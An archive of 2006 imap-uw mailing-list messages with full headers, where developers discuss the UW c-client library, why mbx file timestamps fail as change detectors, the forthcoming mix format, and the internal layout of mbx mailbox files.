X-SA-Exim-Mail-From: brad@blacksheepsoftware.com.au X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] How to convert message in char* to BODY*? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dear List, Is there was way of taking a mail message, stored in a string or a file on disk, and preparing it so it can be used with functions for manipulating mime messages. I assume that I would need to start with something like |*mail_newbody |and then work from there. I was wondering if anyone could point me in the right direction to the other functions that will be needed to correctly fill out a BODY structure from a message in a string, not from a mailbox. It looks like rfc822_parse_msg(ENVELOPE **en, BODY **bdy, char *s, unsigned long i, STRING *b, char *host, char *tmp) will fit the bill but I am unsure on how the headers and body strings need to be broken up. If anyone could offer any advice I would be grateful. Cheers, Brad _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 9 17:51:58 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2006 17:51:58 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1pw3W023889 for ; Thu, 9 Mar 2006 17:51:58 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1pvkf020026 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 17:51:57 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1pref011525 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Mar 2006 17:51:53 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1prZE022521; Thu, 9 Mar 2006 17:51:53 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1pqwd022513 for ; Thu, 9 Mar 2006 17:51:52 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1pppi002602 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 9 Mar 2006 17:51:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1ppce010584 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 17:51:51 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1poHH026707 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 9 Mar 2006 17:51:50 -0800 Date: Thu, 9 Mar 2006 17:51:51 -0800 (Pacific Standard Time) From: Mark Crispin To: Brad Goldsmith Subject: Re: [Imap-uw] How to convert message in char* to BODY*? In-Reply-To: <4410D7AE.4010203@blacksheepsoftware.com.au> Message-ID: References: <4410D7AE.4010203@blacksheepsoftware.com.au> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The simple answer is that you place the message into a mailbox (using mail_append()), do mail_open(), and then use the various mail_fetch*() functions. The slightly more complex answer is that if you really want a string or a file that isn't a mailbox, you should write a simple driver that opens a single-message mailbox from a file or a string. Direct calls to rfc822_parse_msg() are NOT advisable. Not even drivers make direct calls to the parsing routines any more. The mail_*() abstraction exists for a reason; they provide a safe and supported interface that won't change in the future in subtle ways that will break your application. It is also FAR more simple to do as I suggest than to call the parsing routines directly. If you're still determined, then look at how mail_fetch_structure() works in mail.c to learn the needed secrets. And be aware that this may change in the future, and thus you'll have to re-do the exercise each time a new version of c-client comes out. Good luck.... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 9 18:35:17 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2006 18:35:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZHYb025677 for ; Thu, 9 Mar 2006 18:35:17 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZGej013282 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 18:35:16 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZCeQ013898 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Mar 2006 18:35:12 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZCnB026818; Thu, 9 Mar 2006 18:35:12 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZAAY026810 for ; Thu, 9 Mar 2006 18:35:10 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2ZAVu014956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 9 Mar 2006 18:35:10 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2Z9j8020014 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 18:35:09 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A2Z9M8020871 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 9 Mar 2006 18:35:09 -0800 Date: Thu, 9 Mar 2006 18:35:10 -0800 (Pacific Standard Time) From: Mark Crispin To: Erik Kangas Subject: Re: [Imap-uw] Using modified date of mbx file to determine changes to folder? In-Reply-To: <4410A576.9000506@luxsci.com> Message-ID: References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> <440CCD85.8040603@luxsci.com> <83C12409-FA03-4150-8AC6-9B16F4A79C9A@daleenterprise.com> <4410A576.9000506@luxsci.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 9 Mar 2006, Erik Kangas wrote: > We do have a means of accessing the email server's file system outside of the > use of IMAP. I wanted to check and see if the email folder's modified > timestamp is unchanged, then that can be always taken to indicate that there > are no changes to the folder (i.e. additions, deletions, or flag changes). That won't work. The timestamp will change for reasons unrelated to changes to the mailbox. The reason is detailed in Chapter 23, section 41 in Mark Crispin's forthcoming "Big Book of All the Reasons Why UNIX Sucks". In this particular section, entitled "You can't peek at a file without modifying *something*", we learn that there is no way to open a file without changing the atime; that resetting the atime back changes the ctime; and there's no way to reset the ctime. Then, we consider the mbx format, and the need to watch when flag changes happen (so we know in a simultaneous session to rescan flags); and we balance that need against the need to be able to recognize when new mail has arrived; and then we have to consider what happens if any non-UW tool touches the file. What ultimately ends up is: You can rely upon a comparison of the atime with the ctime telling you whether there is new mail; but you can not rely upon the values themselves. You can rely upon the mtime staying more or less constant except when flag changes happen. However, take another simple a short while later. If it's the same, then use it. If it goes backward, use the second (earlier) sample. If it goes forward, repeat until you get a pair of samples that stay the same or go backward. Oh yeah, and that assumes that your UNIX system handles file times correctly. Linux does, but some other systems do not. The mbx driver has to assume the worst, and... Hopefully, by now, I've thoroughly discouraged you from using the file times on an mbx format file. This was all a grave mistake made in the design of the mbx format, but the magnitude of the mistake wasn't realized until quite some time later. The mix driver (I just finished writing it, now I'm debugging/testing) has learned from this mistake, and does not use file times in this way. Instead, it has modseqs associated with metadata, index, overall status, and individual messages. Large mailboxes in mix format open much faster than mbx format. My recommendation to you is to continue doing STATUS, SELECT, and/or EXAMINE as you are doing now; and wait for a new release that supports mix to be the solution. mbx had a good run. It is, after all, 11 years old. It was a victim of its own success. A traditional UNIX mailbox with much more than 1000 messages was much too slow to use practically. mbx expanded that by at least an order of magnitude; and people have used it. Now it's time for a format that will handle 6-digit message count mailboxes with aplomb. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Mar 10 16:24:53 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Mar 2006 16:24:53 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0OrfD030980 for ; Fri, 10 Mar 2006 16:24:53 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0Oqt4015615 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 10 Mar 2006 16:24:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0Om9o030304 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 10 Mar 2006 16:24:48 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0OmY5005706; Fri, 10 Mar 2006 16:24:48 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0OkIa005698 for ; Fri, 10 Mar 2006 16:24:46 -0800 Received: from cruppie.aaronwl.com (wsip-68-228-0-128.br.br.cox.net [68.228.0.128]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2B0OhO2003121 for ; Fri, 10 Mar 2006 16:24:44 -0800 Received: from [127.0.0.1] (cdm-70-182-14-11.laft.cox-internet.com [70.182.14.11]) by cruppie.aaronwl.com (8.12.11/8.12.11) with ESMTP id k2B0O6sT027719; Fri, 10 Mar 2006 18:24:08 -0600 Message-ID: <441218AA.6070708@aaronwl.com> Date: Fri, 10 Mar 2006 18:24:10 -0600 From: "Aaron W. LaFramboise" User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Using modified date of mbx file to determine changes to folder? References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> <440CCD85.8040603@luxsci.com> <83C12409-FA03-4150-8AC6-9B16F4A79C9A@daleenterprise.com> <4410A576.9000506@luxsci.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > The mix driver (I just finished writing it, now I'm debugging/testing) > has learned from this mistake, and does not use file times in this way. > Instead, it has modseqs associated with metadata, index, overall status, > and individual messages. This is excellent news! The sooner "mix" is availible, the better for me, and perhaps many others too. I'd love to test this mailbox format, even if it were in a dangerous alpha form. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 13 08:34:51 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Mar 2006 08:34:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYpC2015742 for ; Mon, 13 Mar 2006 08:34:51 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYolY019257 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Mar 2006 08:34:50 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYiaT009961 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Mar 2006 08:34:44 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYiLO028739; Mon, 13 Mar 2006 08:34:44 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYi0X028730 for ; Mon, 13 Mar 2006 08:34:44 -0800 Received: from pat.cryst.bbk.ac.uk (pat-ext.cryst.bbk.ac.uk [193.61.32.113]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGYeT6013865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Mar 2006 08:34:41 -0800 Received: from katchoo.cryst.bbk.ac.uk (katchoo.cryst.bbk.ac.uk [193.61.35.179]) by pat.cryst.bbk.ac.uk (8.12.8/8.12.8) with ESMTP id k2DGYaqO023527 for ; Mon, 13 Mar 2006 16:34:36 GMT Date: Mon, 13 Mar 2006 16:34:36 +0000 (GMT Standard Time) From: Richard Westlake To: imap-uw@u.washington.edu Message-ID: X-X-Sender: richards@pat-new.cryst.bbk.ac.uk MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-cryst-bbk-ac-uk-MailScanner-Information: Please contact CCSG more information (http://www.cryst.bbk.ac.uk/CCSG/) X-cryst-bbk-ac-uk-MailScanner: Found to be clean X-cryst-bbk-ac-uk-MailScanner-SpamCheck: not spam, SpamAssassin (score=-4.9, required 9, autolearn=not spam, BAYES_00 -4.90) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] MBX file format specification X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Please could someone tell me where to find the specification for the MBX mailbox file format? Sorry it is somewhere obvious, I tried Google and The University of Washington IMAP Information Centre, maybe I missed something. Thanks in advance Richard Westlake School of Crystallography, Birkbeck College, Malet Street, London WC1E 7HX Tel: 020-7631-6859 ---------------------------------------------------------------------- Truth endures but spelling changes -- Anon. ---------------------------------------------------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 13 08:54:36 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Mar 2006 08:54:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsadT016853 for ; Mon, 13 Mar 2006 08:54:36 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsZRL020332 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Mar 2006 08:54:35 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsV3Q028156 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 13 Mar 2006 08:54:31 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsVhm032736; Mon, 13 Mar 2006 08:54:31 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsTbW032728 for ; Mon, 13 Mar 2006 08:54:29 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsTqa012564 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 13 Mar 2006 08:54:29 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsSJX014212 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 13 Mar 2006 08:54:28 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2DGsILS009910 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 13 Mar 2006 08:54:27 -0800 Date: Mon, 13 Mar 2006 08:54:16 -0800 (PST) From: Mark Crispin To: Richard Westlake Subject: Re: [Imap-uw] MBX file format specification In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 13 Mar 2006, Richard Westlake wrote: > Please could someone tell me where to find the specification for the MBX > mailbox file format? Sorry it is somewhere obvious, I tried Google and The > University of Washington IMAP Information Centre, maybe I missed something. The current mbx specification is the source code, although there is some information in the FAQ (where it discusses how to repair a damaged mbx file). Or you can ask me a question. What is it that you need to know about it? In general, I do not recommend writing a separate implementation of code to support mbx format. The locking rules for mbx are complex and easy to miss. Instead, it's better to use the c-client library. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 16 13:49:03 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Mar 2006 13:49:02 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLn28B016851 for ; Thu, 16 Mar 2006 13:49:02 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLn1To007313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 16 Mar 2006 13:49:02 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLmv28023187 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 16 Mar 2006 13:48:58 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLmvdv019735; Thu, 16 Mar 2006 13:48:57 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLmu1j019721 for ; Thu, 16 Mar 2006 13:48:56 -0800 Received: from pat.cryst.bbk.ac.uk (pat-ext.cryst.bbk.ac.uk [193.61.32.113]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2GLmsXD029215 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Mar 2006 13:48:55 -0800 Received: from katchoo.cryst.bbk.ac.uk (katchoo.cryst.bbk.ac.uk [193.61.35.179]) by pat.cryst.bbk.ac.uk (8.12.8/8.12.8) with ESMTP id k2GLmP8N009920; Thu, 16 Mar 2006 21:48:25 GMT Date: Thu, 16 Mar 2006 21:48:25 +0000 (GMT Standard Time) From: Richard Westlake To: Mark Crispin In-Reply-To: Message-ID: References: X-X-Sender: richards@pat-new.cryst.bbk.ac.uk MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-cryst-bbk-ac-uk-MailScanner-Information: Please contact CCSG more information (http://www.cryst.bbk.ac.uk/CCSG/) X-cryst-bbk-ac-uk-MailScanner: Found to be clean X-cryst-bbk-ac-uk-MailScanner-SpamCheck: not spam, SpamAssassin (score=-4.9, required 9, autolearn=not spam, BAYES_00 -4.90) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu Subject: [Imap-uw] Re: MBX file format specification X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 13 Mar 2006, Mark Crispin wrote: > The current mbx specification is the source code, although there is some > information in the FAQ (where it discusses how to repair a damaged mbx file). > > Or you can ask me a question. What is it that you need to know about it? > > In general, I do not recommend writing a separate implementation of code to > support mbx format. The locking rules for mbx are complex and easy to miss. > Instead, it's better to use the c-client library. Mark Sorry this message is rather long. I have taken note of your comments on file locking. I don't intend to work on any live file that another process might want to access. I would be making and working on private copies of the files. I also accept that I cant blame you or your software, if my own code makes a mess of a mail file. I am interested in the format of UW imapd mbx files for several reasons, including: 1) Curiosity Does anything else use same mbx file format? With Google I get lots of hits for tools to repair outlook express mbx files. There was also a document on "MBX Mailbox file format" by Michael Santovec; however this is very different to UW imapd 2) Repairing corrupt mbx format files. Hopefully this will be a very rare event, but we would probably need to recover the persons email quickly when it happens. I was thinking of producing some caned procedures or scripts which junior members of the support group could use to recover most if not all of the messages, if I wasn't around. I have since found some repair scripts, which might help with this, including Tim Mooney's mbx-repair. 3) One-off bulk conversion of UNIX mbox format files to mbx format. I have used "mailutil copy" for this, however it discards, the X-Keyword: flags it doesn't recognise (e.g. Junk, NonJunk, $Forward, $MNDSent). I had thought of scanning a file to build a list of X-Keyword flags, and using that to create the header for an mbx file with no messages. Then using "mailutil append" to append the messages from the old mbox to the new mbx file. Would mailutil recognise the X-Keyword values, if I put the flags strings in the header and set then appropriate flags? I have some idea about how the file format works after looking at FAQ, examining the code; unfortunately C isn't one of my languages. I also examined mailbox files, as I made changes via the mail client. There still something I am unsure of. The first 2048 bytes of the file are the mbx header, which starts with *mbx* ttttttttnnnnnnnn flag-1 flag-2 flag-3 . . . where tttttttt is a time value; this doesn't seem to change, so I think it is when the file was first created? nnnnnnnn it the largest message UID used in the file flag-1, flag-2, are locally defined flags. e.g. Junk, NonJunk, $Forward, $MNDSent The mail messages follow the header Each message starts with a line of the form dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU This should be followed by a message of ssss bytes FFFF is the standard flags, with each bit representation a flag (e.g. 1-Read, 2-Deleted, 4-Important, 8-Answered) I assume the locally defined flags are similarly recorded in ffffffff UUUUUUUU is a hexadecimal number, the unique ID (UID) of the message. The messages seem to be stored in the file in UID order. What happens if the UIDs get out of sequence or are duplicated, will imapd replace the UIDs with new ones, in sequence or would this require outside intervention? Something that puzzles me, I made a new file by asking the mail client to save messages in a new folder. The first message starts with the usual line dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-00000000 Next I have asked the mail client (pine via imap) to open and list this new folder, the UID is replaced by 00000001 and a hexadecimal number has been added after the file header and before the first message header. I am curious, what this number does and how important it is? Richard Westlake School of Crystallography, Birkbeck College, Malet Street, London WC1E 7HX Tel: 020-7631-6859 ---------------------------------------------------------------------- Truth endures but spelling changes -- Anon. ---------------------------------------------------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 16 13:59:10 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user 